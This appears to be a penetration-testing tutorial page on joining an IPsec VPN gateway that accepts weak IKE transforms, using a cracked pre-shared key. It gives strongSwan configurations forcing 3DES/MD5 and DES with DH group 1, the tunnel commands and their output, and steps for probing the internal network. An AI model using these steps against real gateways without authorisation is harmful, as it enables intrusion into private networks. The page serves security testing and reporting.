Skip to content
HackIndex logo

HackIndex

IKE Weak Transform Set Connection

3 min read Mar 30, 2026

When a gateway accepts weak cryptographic transforms and you hold a valid PSK — either recovered via cracking or obtained from a configuration file — you can establish a VPN tunnel using the weakest accepted combination. This confirms the gateway will negotiate a degraded session with a legitimate-looking peer, and it gives you network access through a tunnel that is weaker than the operator believes.

This page assumes you have a PSK from IKEv1 Aggressive Mode PSK Capture and Cracking and confirmed weak transforms from IKE Weak Transform Set Detection.

Connecting with strongSwan

strongSwan is the most flexible Linux IPsec client for pentest scenarios. Install it if not present:

┌──(kali㉿kali)-[~]
└─$ sudo apt install strongswan -y

Edit /etc/ipsec.conf to define the connection using the weakest accepted transform:

conn target-vpn
    keyexchange=ikev1
    authby=secret
    left=%defaultroute
    leftid=$LHOST
    right=$TARGET_IP
    rightid=$TARGET_IP
    ike=3des-md5-modp1024!
    esp=3des-md5!
    aggressive=yes
    auto=add

The ! suffix forces exactly this transform — strongSwan will not propose alternatives. Use the weakest accepted combination from your enumeration.

Store the PSK in /etc/ipsec.secrets:

$LHOST $TARGET_IP : PSK "RecoveredPSK"

Bring the tunnel up:

┌──(kali㉿kali)-[~]
└─$ sudo ipsec restart
┌──(kali㉿kali)-[~]
└─$ sudo ipsec up target-vpn
initiating Aggressive Mode IKE_SA target-vpn[1] to 10.10.10.5
generating AGGRESSIVE request 0 [ SA KE No ID V ]
received AGGRESSIVE response 0 [ SA KE No ID HASH V V ]
authentication of '10.10.10.5' with pre-shared key successful
IKE_SA target-vpn[1] established between 10.10.0.1[10.10.0.1]...10.10.10.5[10.10.10.5]

established confirms the tunnel is up with the weak transform set.

Verify Network Access

Check the new interface and routing created by the tunnel:

┌──(kali㉿kali)-[~]
└─$ ip addr show
┌──(kali㉿kali)-[~]
└─$ ip route show

A new ipsec0 or tun interface appears. Probe the internal network through it:

┌──(kali㉿kali)-[~]
└─$ ping -c 1 10.10.20.1
Explain command
-c 1 Send only 1 ICMP echo request packet then stop.
10.10.20.1 Target IP address to send the ping request to.

If routing is set up correctly, traffic to the internal network now flows through the VPN tunnel. From here, standard network enumeration applies against the now-reachable internal segment.

Connecting with IKEv1 Main Mode

If Aggressive Mode is not required, use Main Mode with the weak transform:

Update /etc/ipsec.conf:

conn target-vpn-main
    keyexchange=ikev1
    authby=secret
    left=%defaultroute
    right=$TARGET_IP
    ike=des-md5-modp1!
    esp=des-md5!
    aggressive=no
    auto=add

modp1 forces DH group 1. This is the weakest possible combination and proves the gateway accepts completely broken key exchange parameters.

Connecting with IKEv2 and Weak Transforms

If the gateway supports IKEv2 but accepts weak DH groups:

conn target-vpn-ikev2
    keyexchange=ikev2
    authby=secret
    left=%defaultroute
    right=$TARGET_IP
    ike=aes128-sha1-modp1024!
    esp=aes128-sha1!
    auto=add

This proves IKEv2 downgrade to weak DH is possible even without Aggressive Mode.

Document the Finding

A successful weak-cipher connection demonstrates:

  • Gateway accepts negotiation with a known-bad PSK source (previously cracked)

  • Tunnel is established using deprecated or broken algorithms

  • Internal network access is confirmed from an unauthenticated starting position

Combine this finding with the cracked PSK from Aggressive Mode for a complete VPN compromise chain: unauthenticated hash capture → offline PSK crack → authenticated tunnel with weak crypto → internal network access.

References